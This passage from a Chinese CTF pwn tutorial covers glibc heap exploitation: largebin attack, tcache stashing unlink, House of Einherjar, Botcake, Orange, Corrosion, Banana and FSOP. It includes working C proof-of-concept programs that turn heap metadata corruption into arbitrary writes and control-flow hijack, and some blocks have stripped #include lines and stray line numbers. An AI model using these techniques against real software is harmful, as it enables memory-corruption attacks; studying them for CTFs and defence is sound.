    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p3 - 2), (void *)(p3[0]));

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
                    " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
                    " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
                    " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);

    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
                    " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}
libc-2.30以后
在libc-2.30中加入了一些检查，封堵了常规largebin attack的方法。
当向largebin中加入的chunkB略大于chunkA时，存在检查：
1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
1
2
if (bck->fd != fwd)
    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
基本已经不可利用
而向largebin中加入的chunkB略小于chunkA时，仍然可以利用，分支代码逻辑为：
1
2
3
4
5
6
7
8
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
在执行该代码时，victim为chunkB，largebin中仅有chunkA一个堆块，我们可以通过某些漏洞修改chunkA的数据段为p64(0)*3+p64(target-0x20)。此时fwd和bck均为largebin_list头部，而bck/fwd->bk/fd就指向chunkA。结合1，2，就有如下赋值操作chunkA->bk_nextsize->fd_nextsize = chunkB。即此时target会被赋值为chunkB的地址
如果后续需要接着从largebin中申请的话，就需要还原这些指针了。注意到chunkB->bk_nextsize = target-0x20，因此当我们从largebin中申请出chunkB时，由于如下代码，target位置会被写入chunkA的地址：
1
2
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
再尝试通过UAF等漏洞修复chunkA的指针，即可再次取出chunkA进行接下来的漏洞利用
Tcache_stashing_unlink_attack
参考文章：https://bbs.kanxue.com/thread-275302.htm#msg_header_h2_4
顾名思义，这个攻击方式和tcache的tcache stash机制联系紧密，使用范围为libc-2.29+
攻击条件
程序可越过tcache取堆块，即使用calloc取堆块
可泄露堆地址（需要泄露fd，能还原fd，攻击才能正常实施）
可申请大堆块
可修改到chunk的bk位
攻击效果
可在任意位置写入一个libc值
攻击方法
攻击方法：先向tcache中填入堆块，不能填满。然后向smallbin中加入与tcache中堆块大小一致的两个堆块（设先加入的为A，后加入的为B），修改后B堆块的bk位为 目标位置-0x10，然后从smallbin中申请堆块，A会被申请出去（脱链时会进行双向完整性检查，因此不能修改B的fd位（bck->fd = victim && fwd->bk = victim）），之后由于tcache stash机制，执行如下代码，完成写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;
          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;//此时bk+0x10位置被写入bin
              tcache_put (tc_victim, tc_idx);
                }
        }
简单POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include
#include
#include

int main()
{
for(int i = 0; i < 6; i++)//填入tcache
free(calloc(1, 0x60));
printf("The 0x70-tcache has 6 chunks!\n");
sleep(1);

char* p1 = calloc(1, 0x500);//申请大堆块
calloc(1, 0x70);//申请堆块，防止p1与top chunk合并
free(p1);//p1进入unsorted bin
p1 = calloc(1, 0x500-0x70);//切割剩下0x70大小
calloc(1, 0x100);//将剩下的0x70大小的堆块放入smallbin中
printf("The small-bin now has a 0x70-length chunk!\n");
sleep(1);

char* p2 = calloc(1, 0x500);
calloc(1, 0x70);
free(p2);
p2 = calloc(1, 0x500-0x70);
calloc(1, 0x100);
printf("The small-bin now has two 0x70-length chunks!\n");
sleep(1);
//此时smallbin中存在两个chunk

long heapbase = ((long)p1>>12)<<12;
*(long*)((char*)p2+0x4a8) = heapbase-0x10;//修改第二个进入smallbin的chunk的bk位
printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8));
sleep(1);
printf("The target %p will be modified!\n", (long*)heapbase);
sleep(1);

calloc(1, 0x60);//申请一个smallbin中的chunk，并触发tcache_stash
printf("attack success!\ntarget modified: %p\n", (long *)*(long*)heapbase);

return 0;
}
PLUS
plus实际上就是在上述攻击的基础上继续进行一次tcache stash，将伪造堆块放入tcache，后续直接申请该chunk，实现任意地址写。
**简单步骤：**先向tcache中填入5个chunk，然后给smallbin放入2个与对应tcache大小一致的chunk，然后伪造第二个chunk的bk位为某一地址，该地址需要满足它的位置存储的地址可写，因为需要进行bck->fd = bin;，在calloc申请一次后，会将伪造的地址所指向的地址填充到tcache中，只需再malloc一次，即可申请到对应地址。
简单POC：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include
#include
#include
#include

int main()
{
for(int i = 0; i < 5; i++)//填入tcache
free(calloc(1, 0x60));
printf("The 0x70-tcache has 5 chunks!\n");
sleep(1);

char* p1 = calloc(1, 0x500);//申请大堆块
calloc(1, 0x70);//申请堆块，防止p1与top chunk合并
free(p1);//p1进入unsorted bin
p1 = calloc(1, 0x500-0x70);//切割剩下0x70大小
calloc(1, 0x100);//将剩下的0x70大小的堆块放入smallbin中
printf("The small-bin now has a 0x70-length chunk!\n");
sleep(1);

char* p2 = calloc(1, 0x500);
calloc(1, 0x70);
free(p2);
p2 = calloc(1, 0x500-0x70);
calloc(1, 0x100);
printf("The small-bin now has two 0x70-length chunk!\n");
sleep(1);
//此时smallbin中存在两个chunk

long heapbase = ((long)p1>>12)<<12;
long main_arena = *(long*)((char*)p1+0x4a0)-192;
long target = main_arena+0x70;
*(long*)((char*)p2+0x4a8) = target-0x10;//修改第二个进入smallbin的chunk的bk位
printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8));
    sleep(1);
    printf("The target %p will be modified!\n", (long*)target);
    sleep(1);

    calloc(1, 0x60);//申请一个smallbin中的chunk，并触发tcache_stash
    printf("Attack success!\ntarget modified: %p\n", (long *)*(long*)target);
long* p3 = malloc(0x60);
printf("Now we can write memory in libc.\nGet address: %p.\n", (long*)p3);

    return 0;
}
House of einherjar
该方法比较简单，基本原理和chunk extend比较类似，但是威力十分强大。
基本利用方法为滥用free()函数的后向合并功能，我们只需要伪造待free的chunk的presize位以及PREV_INUSE即可，然后执行free。可以看看how2heap上的例子（本例版本为libc-2.32）：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include 
#include 
#include 
#include 
#include 

int main()
{
/*
 * This modification to The House of Enherjar works with the tcache-option enabled on glibc-2.32.
 * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
 * It has the additional requirement of a heap leak.
 * 
 * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
 * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
 * The following restriction for normal bins won't allow us to create chunks bigger than the memory
 * allocated from the system in this arena:
 *
 * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
printf("Next, we use tcache poisoning to hijack control flow.\n"
   "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
   "now tcache poisoning requires a heap leak.\n");

// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t stack_var[0x10];
intptr_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0;// prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
   "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
   "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
 * the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");

printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf("c.size: %#lx\n", *c_size_ptr);

printf("It is easier if b.size is a multiple of 0x100 so you "
   "don't change the size of b, only its prev_inuse bit\n");

// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
   "it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
   "We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == target);
printf("Got control on target/stack!\n\n");
}
我们来简单梳理一下上述代码的攻击步骤：
首先创建chunk_a，在自身堆块中伪造一个presize=0, size=0x60，并且fd和bk均指向伪造的fake_chunk（为了绕过unlink检测）。
再分配一个chunk_b，用来对后续堆块进行off-by-null写入，并为后续攻击做准备。
分配chunk_c，该堆块大小为0x100，是为了在off-by-null修改时只修改PREV_INUSE位，而不改变size，以绕过对size的检查。
计算chunk_c与fake_chunk的距离，并写入chunk_c的presize位。同时修改fake_chunk的size也为该值。
填满0x100大小的tcache，保证chunk_c会进入unsortedbin进行后向合并。
此时再释放chunk_c，与fake_chunk进行后向合并，分配一个较大堆块可以控制chunk_b内容，此时chunk_b还可以直接控制，在释放chunk_b之前，先释放一个pad，以供后续修改chunk_b的fd后申请到target绕过tcache_count.
经典例题：2016 Seccon tinypad（ctf-wiki中可找到题目文件）
IO_FILE attack
IO结构体
_IO_FILE_PLUS定义：
1
2
3
4
5
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
vtable是虚表指针，其指向的结构体如下，表中的每个函数会完成对应的功能：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
_IO_FILE结构体如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;
 
#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中FILE结构通过_chain域构成一个链表，链表头部为_IO_list_all全局变量，默认情况下依次链接了stderr,stdout,stdin三个文件流，并将新建的流插入到头部，vtable虚表为_IO_file_jumps。
FSOP
在libc-2.23下由于对vtable没有任何检查，导致可以通过伪造而调用自己想要调用的函数，具体调用方式为exit()函数中的_IO_flush_all_lockp ()函数，其会刷新_IO_list_all链表中的所有文件流，并且会调用_IO_OVERFLOW函数指针，函数调用具体逻辑为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int
_IO_flush_all_lockp (int do_lock)
{
...
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))
#endif
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...
由于_IO_FILE结构体中的vtable指针可以被修改，因此可以指向任意我们伪造好的位置。修改好后，只需要满足fp->mode <= 0 && fo->_IO_write_ptr > fp->_IO_write_base即可进行调用，且调试发现该函数参数为结构体的第一个元素值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7f671d85e550 (_IO_2_1_stderr_+16) ◂— 0x0
*RBX  0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RCX  0x7f671d85ec30 ◂— 0x0
*RDX  0x0
*RDI  0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RSI  0xffffffff
*R8   0x4
*R9   0x0
*R10  0x7fff63e6a548 —▸ 0x7f671da899d8 (_rtld_global+2456) —▸ 0x7f671d863000 ◂— jg     0x7f671d863047
*R11  0x3
*R12  0x7f671da86700 ◂— 0x7f671da86700
*R13  0x0
 R14  0x0
*R15  0x2
*RBP  0x0
*RSP  0x7fff63e6a568 —▸ 0x7f671d515196 ◂— cmp    eax, -1
*RIP  0x7f671d4de390 (system) ◂— test   rdi, rdi
libc-2.24下的攻击
这部分内容建议看winmt师傅的文章（膜拜）[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)。俺不知道该咋写了
House of botcake
这种攻击方法是在tcache中存在key来检测double-free时产生的一种绕过key检测的方法。简单来说就是在程序存在UAF的情况下，通过使unsorted bin和tcache中同时存在某个chunk，来对tcache中chunk的next位进行修改。
简单poc（环境：ubuntu-22.04   libc-2.36）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include
#include

int main()
{
long target = 0;   //目标位置

//填满tcache
long* x[10] = {0};
for(int i = 0; i < 10; i++)
x[i] = malloc(0x90);
for(int i = 0; i < 7; i++)
free(x[i]);
//x[0]---x[6]  in  tcache

free(x[7]);
free(x[8]);//x[7]+x[8]  in  unsorted bin， 并且合成为一个大块

long* p1 = malloc(0x90);  //从tcache中申请出一个chunk
free(x[8]);//利用UAF将x[8]放入tcache

//Now, x[8] is in tcache and unsorted bin.
//We firstly malloc 0x130, and we will control x[8]'s 'next' area.
//x[8]'s 'next' area will target on target's address.
long* p2 = malloc(0x130);
p2[20] = (((long)(&target)>>4)<<4) ^ (x[0][0]);//修改next，此处位移是因为要0x10对齐

long* p3 = malloc(0x90);
long* Ptarget = malloc(0x90);
printf("Now we successfully got target.\nPtarget: %p\ntarget's address: %p\n", Ptarget, &target);

return 0;
}
攻击步骤：
填满对应大小的tcache，向unsorted bin中填入两个chunkA和chunkB（A位于B的上方），这两个chunk会合并为一个大chunk，不能与top chunk合并
从tcache中申请出一个chunk，再次释放chunkB进入tcache（不能释放A的原因是合并为大chunk时A的size已经改变）
申请出unsorted bin中的大堆块，并修改chunkB对应next位置的值为target，然后申请两次，即可取出target
题目：2020祥云杯 garden [原创]2020祥云杯garden(house of botcake++)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
House of orange
house of orange是一种组合漏洞的攻击技巧，用unsorted bin attack配合FSOP进行攻击。
一般可用于程序中没有free函数的情况，可以通过堆溢出来修改top chunk的size（注意页对齐），然后申请大于这个size的chunk，就可以将top chunk放入unsorted bin中
然后使用unsorted bin attack修改_IO_list_all为main_arena+88/96。修改后0x60大小的smallbin链表头正好对应_IO_FILE_PLUS结构中的chain域
这时我们可以在该chunk位置伪造_IO_FILE_PLUS结构体，并且伪造vtable表。触发abort->_IO_flush_all_lockp->_IO_OVERFLOW执行FSOP。(abort由malloc_printerr调用)
修改unsorted bin的bk位后，再申请内存，程序会执行如下流程：
1
2
3
4
5
6
7
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))//必进入if，因为之前对unsorted bin进行了伪造，无法满足条件
{
     errstr = "malloc(): corrupted unsorted chunks";
     goto errout;
}
再来看errout:
1
2
errout:
   malloc_printerr (check_action, errstr, chunk2mem (victim), av);
errout中有malloc_printerr函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "", str, cp);
    }
  else if (action & 2)
    abort ();
}
该函数会调用__libc_message函数或abort函数，而__libc_message函数中也会调用abort函数，因此可以进行FSOP
经典例题：houseoforange_hitcon_2016
House of corrosion
参考链接：https://xz.aliyun.com/t/6862#toc-0
https://github.com/CptGibbon/House-of-Corrosion
攻击条件
有UAF漏洞
可分配较大堆块
可在无leak的情况下使用
攻击效果
fastbinY数组溢出到目标位置，FSOP直接getshell
攻击方法
通过unsorted bin attack，修改global_max_fast变量为一个大值。由于没有leak，因此需要爆破出4bit的偏移量。
计算stderr到fastbinY数组的偏移量，通过计算公式chunk size = (delta * 2) + 0x20 ，delta为目标地址与fastbinY的offset，计算出要释放的chunk大小，释放后通过堆风水或者UAF修改堆内容伪造_IO_FILE结构体。
最后通过触发stderr来getshell
简单POC
House of banana
参考链接 [原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com) 和 高版本glibc堆的几种利用手法 - 知乎 (zhihu.com)。
house of banana是利用exit函数调用链触发的一种利用方式，调用链：exit()->_dl_fini->(fini_t)array[i]，利用起来十分方便，只要我们能通过largebin attack等方式劫持_rtld_global首地址_ns_loaded到我们的可控区域，也可以直接劫持某个节点link_map的l_next指针到可控区域，就可以对link_map进行伪造，从而进行调用。
首先我们来看_rtld_global结构体，其中_ns_loaded指向我们要伪造的link_map，是整个链表的头结点，_ns_nloaded表示共有几个link_map，在exit后面的检查中，要求该值不小于3
1
2
3
4
5
6
7
pwndbg> p _rtld_global
$2 = {
  _dl_ns = {{
      _ns_loaded = 0x7f56e43ba220,    //#1
      _ns_nloaded = 4,      //#2
 ...             //后续变量在该方法中均没有用到
  }
_rtld_global结构体的地址可以直接用libcbase + libc.symbols['_rtld_global']计算出来，然后我们可以使用largebin attack等方法修改_ns_loaded为可控地址，进而可以在该地址伪造link_map
link_map结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p *(struct link_map *)0x7f56e43ba220
$3 = {
  l_addr = 94172888551424,       //伪造为fake_link_map_addr+0x20，
  l_name = 0x7f56e43ba7c8 "",
  l_ld = 0x55a655922000,
  l_next = 0x7f56e43ba7d0,   //下一个link_map结构体，伪造保持原来的值
  l_prev = 0x0,       
  l_real = 0x7f56e43ba220,   //会进行判断是否和当前link_map地址一致，伪造为fake_link_map_addr即可
  l_ns = 0,
  l_libname = 0x7f56e43ba7b0,
  l_info = {0x0, 0x55a655922010, 0x55a6559220f0, 0x55a6559220e0, 0x0, 0x55a655922090, 0x55a6559220a0, 0x55a655922120, 0x55a655922130, 0x55a655922140, 0x55a6559220b0, 0x55a6559220c0, 0x55a655922020, 0x55a655922030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922100, 0x55a6559220d0, 0x0, 0x55a655922110, 0x55a655922160, 0x55a655922040, 0x55a655922060, 0x55a655922050, 0x55a655922070, 0x55a655922000, 0x55a655922150, 0x0, 0x0, 0x0, 0x0, 0x55a655922180, 0x55a655922170, 0x0, 0x0, 0x55a655922160, 0x0, 0x55a6559221a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922190, 0x0 25 times>, 0x55a655922080},   //#4
  l_phdr = 0x55a65591d040,
......
  l_direct_opencount = 1,
  l_type = lt_executable,
  l_relocated = 1,
  l_init_called = 1,     //不为0，以绕过判断
  l_global = 1,
......
}
然后来看_dl_fini函数
_dl_fini.c中具体函数逻辑如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void
_dl_fini (void)
{
...
   struct link_map *maps[nloaded];    

   unsigned int i;
   struct link_map *l;
   assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
   for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
     /* Do not handle ld.so in secondary namespaces.  */
     if (l == l->l_real)      //检查节点的地址是否跟自己结构体保存的一致
       {
  assert (i < nloaded);

  maps[i] = l;
  l->l_idx = i;
  ++i;

  /* Bump l_direct_opencount of all objects so that they
     are not dlclose()ed from underneath us.  */
  ++l->l_direct_opencount;
       }
   assert (ns != LM_ID_BASE || i == nloaded);
   assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
   unsigned int nmaps = i;

   _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
    NULL, true);

   __rtld_lock_unlock_recursive (GL(dl_load_lock));

   for (i = 0; i < nmaps; ++i)
     {
       struct link_map *l = maps[i];   //l遍历link_map的链表

       if (l->l_init_called)     //重要的检查点
  {
    l->l_init_called = 0;      

    /* Is there a destructor function?  */
    if (l->l_info[DT_FINI_ARRAY] != NULL
        || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
      {
        /* When debugging print a message first.  */
        if (__builtin_expect (GLRO(dl_debug_mask)
         & DL_DEBUG_IMPCALLS, 0))
   _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
       DSO_FILENAME (l->l_name),
       ns);

        /* First see whether an array is given.  */
        if (l->l_info[DT_FINI_ARRAY] != NULL)
   {
     ElfW(Addr) *array =
       (ElfW(Addr) *) (l->l_addr
         + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);      //即要调用的函数数组的地址为这两项相加（DT_FINI_ARRAY = 26）
     unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
         / sizeof (ElfW(Addr)));     //i的起始值（DT_FINI_ARRAYSZ = 28）
     while (i-- > 0)
       ((fini_t) array[i]) ();     //目标位置
   }
....
}
从上面可以看到我们需要使l->l_init_called不为0，l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)成立，l->l_info[DT_FINI_ARRAY] != NULL才能调用函数。
最后配合setcontext+61可getshell或orw
模板来源为第一个参考链接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_link_map_addr = heap_base + 0x6c0
